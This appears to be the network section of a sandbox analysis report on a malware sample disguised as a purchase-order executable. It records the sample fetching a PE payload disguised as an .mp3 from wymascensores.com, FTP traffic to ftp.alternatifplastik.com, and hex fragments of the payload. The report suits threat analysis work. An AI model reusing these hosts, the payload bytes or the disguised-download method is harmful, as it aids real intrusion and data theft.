Oct 1, 2024 07:31:54.976918936 CEST	21	49715	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:55.214142084 CEST	21	49715	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:55.214277029 CEST	49715	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:55.219082117 CEST	21	49715	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:55.433476925 CEST	21	49715	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:55.433727980 CEST	49715	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:55.438534021 CEST	21	49715	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:55.653544903 CEST	21	49715	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:55.653718948 CEST	49715	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:55.658544064 CEST	21	49715	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:55.850820065 CEST	49712	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:55.873261929 CEST	21	49715	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:55.873579979 CEST	49715	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:55.878339052 CEST	21	49715	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:56.092916012 CEST	21	49715	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:56.093657970 CEST	49716	64722	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:56.098526001 CEST	64722	49716	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:56.098622084 CEST	49716	64722	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:56.098704100 CEST	49715	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:56.103605032 CEST	21	49715	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:56.715498924 CEST	21	49715	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:56.716213942 CEST	49716	64722	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:56.716299057 CEST	49716	64722	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:56.721067905 CEST	64722	49716	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:56.721389055 CEST	64722	49716	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:56.721436024 CEST	49716	64722	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:56.757123947 CEST	49715	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:56.936228991 CEST	21	49715	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:56.975864887 CEST	49715	21	192.168.2.8	5.2.84.236

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 1, 2024 07:31:25.121555090 CEST	52651	53	192.168.2.8	1.1.1.1
Oct 1, 2024 07:31:25.509732008 CEST	53	52651	1.1.1.1	192.168.2.8
Oct 1, 2024 07:31:30.720931053 CEST	60441	53	192.168.2.8	1.1.1.1
Oct 1, 2024 07:31:30.814199924 CEST	53	60441	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 1, 2024 07:31:25.121555090 CEST	192.168.2.8	1.1.1.1	0x72bf	Standard query (0)	wymascensores.com	A (IP address)	IN (0x0001)	false
Oct 1, 2024 07:31:30.720931053 CEST	192.168.2.8	1.1.1.1	0x48ed	Standard query (0)	ftp.alternatifplastik.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 1, 2024 07:31:25.509732008 CEST	1.1.1.1	192.168.2.8	0x72bf	No error (0)	wymascensores.com		67.212.175.162	A (IP address)	IN (0x0001)	false
Oct 1, 2024 07:31:30.814199924 CEST	1.1.1.1	192.168.2.8	0x48ed	No error (0)	ftp.alternatifplastik.com		5.2.84.236	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

wymascensores.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	67.212.175.162	443	2944	C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:31:26 UTC	84	OUT	GET /servex/Evzbwt.mp3 HTTP/1.1 Host: wymascensores.com Connection: Keep-Alive
2024-10-01 05:31:26 UTC	210	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 05:31:25 GMT Server: Apache Last-Modified: Mon, 30 Sep 2024 09:28:09 GMT Accept-Ranges: bytes Content-Length: 1914880 Connection: close Content-Type: audio/mpeg
2024-10-01 05:31:26 UTC	7982	IN	Data Raw: 34 44 35 41 39 30 30 30 30 33 30 30 30 30 30 30 30 34 30 30 30 30 30 30 46 46 46 46 30 30 30 30 42 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 45 31 46 42 41 30 45 30 30 42 34 30 39 43 44 32 31 42 38 30 31 34 43 43 44 32 31 35 34 36 38 36 39 37 33 32 30 37 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 36 33 36 31 36 45 36 45 36 46 37 34 32 30 36 32 36 35 32 30 37 32 37 35 36 45 32 30 36 39 36 45 32 30 34 34 34 46 35 33 32 30 36 44 36 46 36 34 36 35 32 45 30 44 30 44 30 41 32 34 30 30 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A240000000000000
2024-10-01 05:31:26 UTC	8000	IN	Data Raw: 30 30 30 34 37 42 38 46 30 32 30 30 30 34 36 31 37 45 42 43 30 32 30 30 30 34 32 38 33 46 30 39 30 30 30 36 32 38 31 31 30 30 30 30 32 42 38 30 34 32 30 30 30 30 30 34 32 30 30 35 30 30 30 30 30 30 37 45 35 31 30 32 30 30 30 34 37 42 34 39 30 32 30 30 30 34 33 41 45 38 46 38 46 46 46 46 32 36 32 30 30 32 30 30 30 30 30 30 33 38 44 44 46 38 46 46 46 46 32 30 30 32 39 31 42 39 42 42 36 35 32 30 31 43 43 30 34 36 31 42 36 31 37 45 35 31 30 32 30 30 30 34 37 42 39 34 30 32 30 30 30 34 36 31 37 45 42 43 30 32 30 30 30 34 32 38 33 46 30 39 30 30 30 36 32 30 42 45 41 45 41 31 41 37 32 30 39 37 41 35 31 38 41 35 36 31 37 45 35 31 30 32 30 30 30 34 37 42 34 39 30 32 30 30 30 34 36 31 37 45 42 43 30 32 30 30 30 34 32 38 33 46 30 39 30 30 30 36 32 38 31 32 30 30 30 Data Ascii: 00047B8F020004617EBC020004283F090006281100002B804200000420050000007E510200047B490200043AE8F8FFFF26200200000038DDF8FFFF200291B9BB65201CC0461B617E510200047B94020004617EBC020004283F09000620BEAEA1A72097A518A5617E510200047B49020004617EBC020004283F0900062812000
2024-10-01 05:31:26 UTC	8000	IN	Data Raw: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 32 32 30 30 31 34 41 35 34 33 30 30 30 30 30 32 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 00000000000000002A220014A5430000022A0000001330030004000000000000000000002A120000142A0000001330030004000000000000000000002A120000142A0000001330030004000000000000000000002A120000142A0000001330030004000000000000000000002A120000142A000000133003000400000000000
2024-10-01 05:31:26 UTC	8000	IN	Data Raw: 30 30 30 30 33 38 43 31 46 46 46 46 46 46 32 41 37 45 39 37 30 32 30 30 30 34 32 38 41 42 30 38 30 30 30 36 32 30 30 30 30 30 30 30 30 30 37 45 35 31 30 32 30 30 30 34 37 42 32 46 30 32 30 30 30 34 33 39 41 32 46 46 46 46 46 46 32 36 32 30 30 31 30 30 30 30 30 30 33 38 39 37 46 46 46 46 46 46 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 30 33 33 30 30 38 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 37 32 41 34 31 31 43 30 30 30 30 30 30 30 30 30 30 30 30 33 38 30 30 30 30 30 30 33 32 30 32 30 30 30 30 36 41 30 32 30 30 30 30 33 41 30 30 30 30 30 30 31 42 30 30 30 30 30 31 31 33 33 30 30 33 30 30 38 30 30 30 30 30 30 30 30 31 30 30 30 30 31 31 32 38 38 31 30 33 30 30 30 36 32 30 30 Data Ascii: 000038C1FFFFFF2A7E9702000428AB08000620000000007E510200047B2F02000439A2FFFFFF2620010000003897FFFFFF120000172A000000120000142A0000000330080004000000000000000000172A411C00000000000038000000320200006A0200003A0000001B0000011330030080000000010000112881030006200
2024-10-01 05:31:26 UTC	8000	IN	Data Raw: 32 41 31 33 33 30 30 33 30 30 38 30 30 30 30 30 30 30 30 31 30 30 30 30 31 31 32 38 38 31 30 33 30 30 30 36 32 30 30 31 30 30 30 30 30 30 46 45 30 45 30 30 30 30 33 38 30 30 30 30 30 30 30 30 46 45 30 43 30 30 30 30 34 35 30 33 30 30 30 30 30 30 30 36 30 30 30 30 30 30 32 46 30 30 30 30 30 30 30 35 30 30 30 30 30 30 33 38 30 31 30 30 30 30 30 30 32 41 37 45 39 38 30 32 30 30 30 34 32 38 41 46 30 38 30 30 30 36 32 30 30 32 30 30 30 30 30 30 37 45 35 31 30 32 30 30 30 34 37 42 36 35 30 32 30 30 30 34 33 39 43 42 46 46 46 46 46 46 32 36 32 30 30 32 30 30 30 30 30 30 33 38 43 30 46 46 46 46 46 46 37 45 39 37 30 32 30 30 30 34 32 38 41 42 30 38 30 30 30 36 32 30 30 30 30 30 30 30 30 30 37 45 35 31 30 32 30 30 30 34 37 42 38 32 30 32 30 30 30 34 33 41 41 32 46 Data Ascii: 2A13300300800000000100001128810300062001000000FE0E00003800000000FE0C00004503000000060000002F0000000500000038010000002A7E9802000428AF08000620020000007E510200047B6502000439CBFFFFFF26200200000038C0FFFFFF7E9702000428AB08000620000000007E510200047B820200043AA2F
2024-10-01 05:31:26 UTC	8000	IN	Data Raw: 30 30 30 34 31 34 46 45 30 31 32 41 30 30 30 30 30 30 33 36 32 42 30 35 32 38 43 37 37 32 30 33 35 43 37 45 34 44 30 31 30 30 30 34 32 41 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 34 32 41 31 33 33 30 30 34 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 34 32 41 31 33 33 30 30 35 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 30 33 33 30 30 38 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 34 32 41 34 31 33 34 30 30 30 30 30 32 30 30 30 30 30 30 39 45 30 30 30 30 30 30 41 37 30 30 30 30 30 30 34 35 30 31 30 30 30 30 36 33 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 30 36 32 30 30 30 30 30 30 34 36 30 31 30 Data Ascii: 000414FE012A000000362B0528C772035C7E4D0100042A00001330030004000000000000000000142A1330040004000000000000000000142A1330050004000000000000000000002A0330080004000000000000000000142A41340000020000009E000000A7000000450100006300000000000000020000006200000046010
2024-10-01 05:31:26 UTC	8000	IN	Data Raw: 31 32 30 35 31 31 30 36 30 39 31 31 30 34 31 46 30 41 31 46 30 46 31 46 33 37 30 36 32 38 36 43 30 33 30 30 30 36 31 32 30 34 31 31 30 35 31 31 30 36 30 39 31 37 31 46 31 35 31 46 33 38 30 36 32 38 36 43 30 33 30 30 30 36 31 32 30 33 31 31 30 34 31 31 30 35 31 31 30 36 31 45 31 43 31 46 33 39 30 36 32 38 36 43 30 33 30 30 30 36 31 32 30 36 30 39 31 31 30 34 31 31 30 35 31 46 30 46 31 46 30 41 31 46 33 41 30 36 32 38 36 43 30 33 30 30 30 36 31 32 30 35 31 31 30 36 30 39 31 31 30 34 31 43 31 46 30 46 31 46 33 42 30 36 32 38 36 43 30 33 30 30 30 36 31 32 30 34 31 31 30 35 31 31 30 36 30 39 31 46 30 44 31 46 31 35 31 46 33 43 30 36 32 38 36 43 30 33 30 30 30 36 31 32 30 33 31 31 30 34 31 31 30 35 31 31 30 36 31 41 31 43 31 46 33 44 30 36 32 38 36 43 30 33 30 Data Ascii: 120511060911041F0A1F0F1F3706286C03000612041105110609171F151F3806286C03000612031104110511061E1C1F3906286C030006120609110411051F0F1F0A1F3A06286C030006120511060911041C1F0F1F3B06286C030006120411051106091F0D1F151F3C06286C03000612031104110511061A1C1F3D06286C030
2024-10-01 05:31:26 UTC	8000	IN	Data Raw: 46 45 30 43 30 33 30 30 32 30 30 43 30 30 30 30 30 30 46 45 30 43 31 31 30 30 39 43 32 30 39 37 30 30 30 30 30 30 32 30 34 30 30 30 30 30 30 30 35 39 46 45 30 45 32 37 30 30 46 45 30 43 30 33 30 30 32 30 30 43 30 30 30 30 30 30 46 45 30 43 32 37 30 30 39 43 32 30 36 46 30 30 30 30 30 30 32 30 33 42 30 30 30 30 30 30 35 38 46 45 30 45 31 31 30 30 46 45 30 43 30 33 30 30 32 30 30 44 30 30 30 30 30 30 46 45 30 43 31 31 30 30 39 43 46 45 30 43 30 33 30 30 32 30 30 44 30 30 30 30 30 30 32 30 44 35 30 30 30 30 30 30 32 30 34 37 30 30 30 30 30 30 35 39 39 43 32 30 33 31 30 30 30 30 30 30 32 30 32 35 30 30 30 30 30 30 35 38 46 45 30 45 31 31 30 30 46 45 30 43 30 33 30 30 32 30 30 44 30 30 30 30 30 30 46 45 30 43 31 31 30 30 39 43 46 45 30 43 30 33 30 30 32 30 30 Data Ascii: FE0C0300200C000000FE0C11009C2097000000204000000059FE0E2700FE0C0300200C000000FE0C27009C206F000000203B00000058FE0E1100FE0C0300200D000000FE0C11009CFE0C0300200D00000020D50000002047000000599C2031000000202500000058FE0E1100FE0C0300200D000000FE0C11009CFE0C0300200
2024-10-01 05:31:26 UTC	8000	IN	Data Raw: 32 35 31 37 32 38 42 43 30 33 30 30 30 36 31 31 30 30 31 31 30 37 32 38 42 44 30 33 30 30 30 36 31 33 31 38 32 38 42 45 30 33 30 30 30 36 31 33 30 31 31 31 30 31 31 31 31 38 31 37 37 33 45 36 30 30 30 30 30 41 32 35 31 31 32 42 31 36 31 31 32 42 38 45 36 39 32 38 42 46 30 33 30 30 30 36 32 35 32 38 43 30 30 33 30 30 30 36 37 45 37 38 30 31 30 30 30 34 32 38 43 31 30 33 30 30 30 36 31 31 30 31 32 38 43 32 30 33 30 30 30 36 32 38 43 33 30 33 30 30 30 36 32 38 43 34 30 33 30 30 30 36 31 31 30 31 32 38 43 35 30 33 30 30 30 36 32 38 43 35 30 33 30 30 30 36 32 38 43 36 30 33 30 30 30 36 32 30 30 30 30 30 30 30 30 30 32 38 44 38 30 33 30 30 30 36 33 41 30 46 30 30 30 30 30 30 32 36 32 30 30 30 30 30 30 30 30 30 33 38 30 34 30 30 30 30 30 30 46 45 30 43 30 42 30 Data Ascii: 251728BC0300061100110728BD030006131828BE0300061301110111181773E600000A25112B16112B8E6928BF0300062528C00300067E7801000428C1030006110128C203000628C303000628C4030006110128C503000628C503000628C6030006200000000028D80300063A0F0000002620000000003804000000FE0C0B0
2024-10-01 05:31:26 UTC	8000	IN	Data Raw: 32 33 37 45 33 46 30 31 30 30 30 41 36 46 33 43 30 31 30 30 30 41 33 38 30 45 30 30 30 30 30 30 31 31 32 33 37 45 34 30 30 31 30 30 30 41 31 31 32 35 36 46 34 31 30 31 30 30 30 41 31 31 32 35 31 37 35 38 31 33 32 35 31 31 32 35 31 31 32 30 33 46 38 33 46 46 46 46 46 46 31 31 32 33 37 45 34 32 30 31 30 30 30 41 36 46 33 43 30 31 30 30 30 41 31 31 32 33 31 31 31 44 33 41 30 41 30 30 30 30 30 30 37 45 34 33 30 31 30 30 30 41 33 38 30 35 30 30 30 30 30 30 37 45 34 34 30 31 30 30 30 41 31 31 31 45 36 46 34 35 30 31 30 30 30 41 31 31 32 33 37 45 34 36 30 31 30 30 30 41 36 46 33 43 30 31 30 30 30 41 31 31 31 41 31 34 31 31 32 32 30 36 36 46 34 37 30 31 30 30 30 41 36 46 31 38 30 31 30 30 30 41 44 44 30 36 30 30 30 30 30 30 32 36 44 44 30 30 30 30 30 30 30 30 31 Data Ascii: 237E3F01000A6F3C01000A380E00000011237E4001000A11256F4101000A112517581325112511203F83FFFFFF11237E4201000A6F3C01000A1123111D3A0A0000007E4301000A38050000007E4401000A111E6F4501000A11237E4601000A6F3C01000A111A141122066F4701000A6F1801000ADD0600000026DD000000001

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49710	67.212.175.162	443	6876	C:\Users\user\AppData\Roaming\Xpnzea.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:31:42 UTC	84	OUT	GET /servex/Evzbwt.mp3 HTTP/1.1 Host: wymascensores.com Connection: Keep-Alive
2024-10-01 05:31:42 UTC	210	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 05:31:41 GMT Server: Apache Last-Modified: Mon, 30 Sep 2024 09:28:09 GMT Accept-Ranges: bytes Content-Length: 1914880 Connection: close Content-Type: audio/mpeg
2024-10-01 05:31:42 UTC	7982	IN	Data Raw: 34 44 35 41 39 30 30 30 30 33 30 30 30 30 30 30 30 34 30 30 30 30 30 30 46 46 46 46 30 30 30 30 42 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 45 31 46 42 41 30 45 30 30 42 34 30 39 43 44 32 31 42 38 30 31 34 43 43 44 32 31 35 34 36 38 36 39 37 33 32 30 37 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 36 33 36 31 36 45 36 45 36 46 37 34 32 30 36 32 36 35 32 30 37 32 37 35 36 45 32 30 36 39 36 45 32 30 34 34 34 46 35 33 32 30 36 44 36 46 36 34 36 35 32 45 30 44 30 44 30 41 32 34 30 30 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A240000000000000
2024-10-01 05:31:42 UTC	8000	IN	Data Raw: 30 30 30 34 37 42 38 46 30 32 30 30 30 34 36 31 37 45 42 43 30 32 30 30 30 34 32 38 33 46 30 39 30 30 30 36 32 38 31 31 30 30 30 30 32 42 38 30 34 32 30 30 30 30 30 34 32 30 30 35 30 30 30 30 30 30 37 45 35 31 30 32 30 30 30 34 37 42 34 39 30 32 30 30 30 34 33 41 45 38 46 38 46 46 46 46 32 36 32 30 30 32 30 30 30 30 30 30 33 38 44 44 46 38 46 46 46 46 32 30 30 32 39 31 42 39 42 42 36 35 32 30 31 43 43 30 34 36 31 42 36 31 37 45 35 31 30 32 30 30 30 34 37 42 39 34 30 32 30 30 30 34 36 31 37 45 42 43 30 32 30 30 30 34 32 38 33 46 30 39 30 30 30 36 32 30 42 45 41 45 41 31 41 37 32 30 39 37 41 35 31 38 41 35 36 31 37 45 35 31 30 32 30 30 30 34 37 42 34 39 30 32 30 30 30 34 36 31 37 45 42 43 30 32 30 30 30 34 32 38 33 46 30 39 30 30 30 36 32 38 31 32 30 30 30 Data Ascii: 00047B8F020004617EBC020004283F090006281100002B804200000420050000007E510200047B490200043AE8F8FFFF26200200000038DDF8FFFF200291B9BB65201CC0461B617E510200047B94020004617EBC020004283F09000620BEAEA1A72097A518A5617E510200047B49020004617EBC020004283F0900062812000
2024-10-01 05:31:42 UTC	8000	IN	Data Raw: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 32 32 30 30 31 34 41 35 34 33 30 30 30 30 30 32 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 00000000000000002A220014A5430000022A0000001330030004000000000000000000002A120000142A0000001330030004000000000000000000002A120000142A0000001330030004000000000000000000002A120000142A0000001330030004000000000000000000002A120000142A000000133003000400000000000
2024-10-01 05:31:42 UTC	8000	IN	Data Raw: 30 30 30 30 33 38 43 31 46 46 46 46 46 46 32 41 37 45 39 37 30 32 30 30 30 34 32 38 41 42 30 38 30 30 30 36 32 30 30 30 30 30 30 30 30 30 37 45 35 31 30 32 30 30 30 34 37 42 32 46 30 32 30 30 30 34 33 39 41 32 46 46 46 46 46 46 32 36 32 30 30 31 30 30 30 30 30 30 33 38 39 37 46 46 46 46 46 46 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 30 33 33 30 30 38 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 37 32 41 34 31 31 43 30 30 30 30 30 30 30 30 30 30 30 30 33 38 30 30 30 30 30 30 33 32 30 32 30 30 30 30 36 41 30 32 30 30 30 30 33 41 30 30 30 30 30 30 31 42 30 30 30 30 30 31 31 33 33 30 30 33 30 30 38 30 30 30 30 30 30 30 30 31 30 30 30 30 31 31 32 38 38 31 30 33 30 30 30 36 32 30 30 Data Ascii: 000038C1FFFFFF2A7E9702000428AB08000620000000007E510200047B2F02000439A2FFFFFF2620010000003897FFFFFF120000172A000000120000142A0000000330080004000000000000000000172A411C00000000000038000000320200006A0200003A0000001B0000011330030080000000010000112881030006200
2024-10-01 05:31:42 UTC	8000	IN	Data Raw: 32 41 31 33 33 30 30 33 30 30 38 30 30 30 30 30 30 30 30 31 30 30 30 30 31 31 32 38 38 31 30 33 30 30 30 36 32 30 30 31 30 30 30 30 30 30 46 45 30 45 30 30 30 30 33 38 30 30 30 30 30 30 30 30 46 45 30 43 30 30 30 30 34 35 30 33 30 30 30 30 30 30 30 36 30 30 30 30 30 30 32 46 30 30 30 30 30 30 30 35 30 30 30 30 30 30 33 38 30 31 30 30 30 30 30 30 32 41 37 45 39 38 30 32 30 30 30 34 32 38 41 46 30 38 30 30 30 36 32 30 30 32 30 30 30 30 30 30 37 45 35 31 30 32 30 30 30 34 37 42 36 35 30 32 30 30 30 34 33 39 43 42 46 46 46 46 46 46 32 36 32 30 30 32 30 30 30 30 30 30 33 38 43 30 46 46 46 46 46 46 37 45 39 37 30 32 30 30 30 34 32 38 41 42 30 38 30 30 30 36 32 30 30 30 30 30 30 30 30 30 37 45 35 31 30 32 30 30 30 34 37 42 38 32 30 32 30 30 30 34 33 41 41 32 46 Data Ascii: 2A13300300800000000100001128810300062001000000FE0E00003800000000FE0C00004503000000060000002F0000000500000038010000002A7E9802000428AF08000620020000007E510200047B6502000439CBFFFFFF26200200000038C0FFFFFF7E9702000428AB08000620000000007E510200047B820200043AA2F
2024-10-01 05:31:42 UTC	8000	IN	Data Raw: 30 30 30 34 31 34 46 45 30 31 32 41 30 30 30 30 30 30 33 36 32 42 30 35 32 38 43 37 37 32 30 33 35 43 37 45 34 44 30 31 30 30 30 34 32 41 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 34 32 41 31 33 33 30 30 34 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 34 32 41 31 33 33 30 30 35 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 30 33 33 30 30 38 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 34 32 41 34 31 33 34 30 30 30 30 30 32 30 30 30 30 30 30 39 45 30 30 30 30 30 30 41 37 30 30 30 30 30 30 34 35 30 31 30 30 30 30 36 33 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 30 36 32 30 30 30 30 30 30 34 36 30 31 30 Data Ascii: 000414FE012A000000362B0528C772035C7E4D0100042A00001330030004000000000000000000142A1330040004000000000000000000142A1330050004000000000000000000002A0330080004000000000000000000142A41340000020000009E000000A7000000450100006300000000000000020000006200000046010
2024-10-01 05:31:42 UTC	8000	IN	Data Raw: 31 32 30 35 31 31 30 36 30 39 31 31 30 34 31 46 30 41 31 46 30 46 31 46 33 37 30 36 32 38 36 43 30 33 30 30 30 36 31 32 30 34 31 31 30 35 31 31 30 36 30 39 31 37 31 46 31 35 31 46 33 38 30 36 32 38 36 43 30 33 30 30 30 36 31 32 30 33 31 31 30 34 31 31 30 35 31 31 30 36 31 45 31 43 31 46 33 39 30 36 32 38 36 43 30 33 30 30 30 36 31 32 30 36 30 39 31 31 30 34 31 31 30 35 31 46 30 46 31 46 30 41 31 46 33 41 30 36 32 38 36 43 30 33 30 30 30 36 31 32 30 35 31 31 30 36 30 39 31 31 30 34 31 43 31 46 30 46 31 46 33 42 30 36 32 38 36 43 30 33 30 30 30 36 31 32 30 34 31 31 30 35 31 31 30 36 30 39 31 46 30 44 31 46 31 35 31 46 33 43 30 36 32 38 36 43 30 33 30 30 30 36 31 32 30 33 31 31 30 34 31 31 30 35 31 31 30 36 31 41 31 43 31 46 33 44 30 36 32 38 36 43 30 33 30 Data Ascii: 120511060911041F0A1F0F1F3706286C03000612041105110609171F151F3806286C03000612031104110511061E1C1F3906286C030006120609110411051F0F1F0A1F3A06286C030006120511060911041C1F0F1F3B06286C030006120411051106091F0D1F151F3C06286C03000612031104110511061A1C1F3D06286C030
2024-10-01 05:31:42 UTC	8000	IN	Data Raw: 46 45 30 43 30 33 30 30 32 30 30 43 30 30 30 30 30 30 46 45 30 43 31 31 30 30 39 43 32 30 39 37 30 30 30 30 30 30 32 30 34 30 30 30 30 30 30 30 35 39 46 45 30 45 32 37 30 30 46 45 30 43 30 33 30 30 32 30 30 43 30 30 30 30 30 30 46 45 30 43 32 37 30 30 39 43 32 30 36 46 30 30 30 30 30 30 32 30 33 42 30 30 30 30 30 30 35 38 46 45 30 45 31 31 30 30 46 45 30 43 30 33 30 30 32 30 30 44 30 30 30 30 30 30 46 45 30 43 31 31 30 30 39 43 46 45 30 43 30 33 30 30 32 30 30 44 30 30 30 30 30 30 32 30 44 35 30 30 30 30 30 30 32 30 34 37 30 30 30 30 30 30 35 39 39 43 32 30 33 31 30 30 30 30 30 30 32 30 32 35 30 30 30 30 30 30 35 38 46 45 30 45 31 31 30 30 46 45 30 43 30 33 30 30 32 30 30 44 30 30 30 30 30 30 46 45 30 43 31 31 30 30 39 43 46 45 30 43 30 33 30 30 32 30 30 Data Ascii: FE0C0300200C000000FE0C11009C2097000000204000000059FE0E2700FE0C0300200C000000FE0C27009C206F000000203B00000058FE0E1100FE0C0300200D000000FE0C11009CFE0C0300200D00000020D50000002047000000599C2031000000202500000058FE0E1100FE0C0300200D000000FE0C11009CFE0C0300200
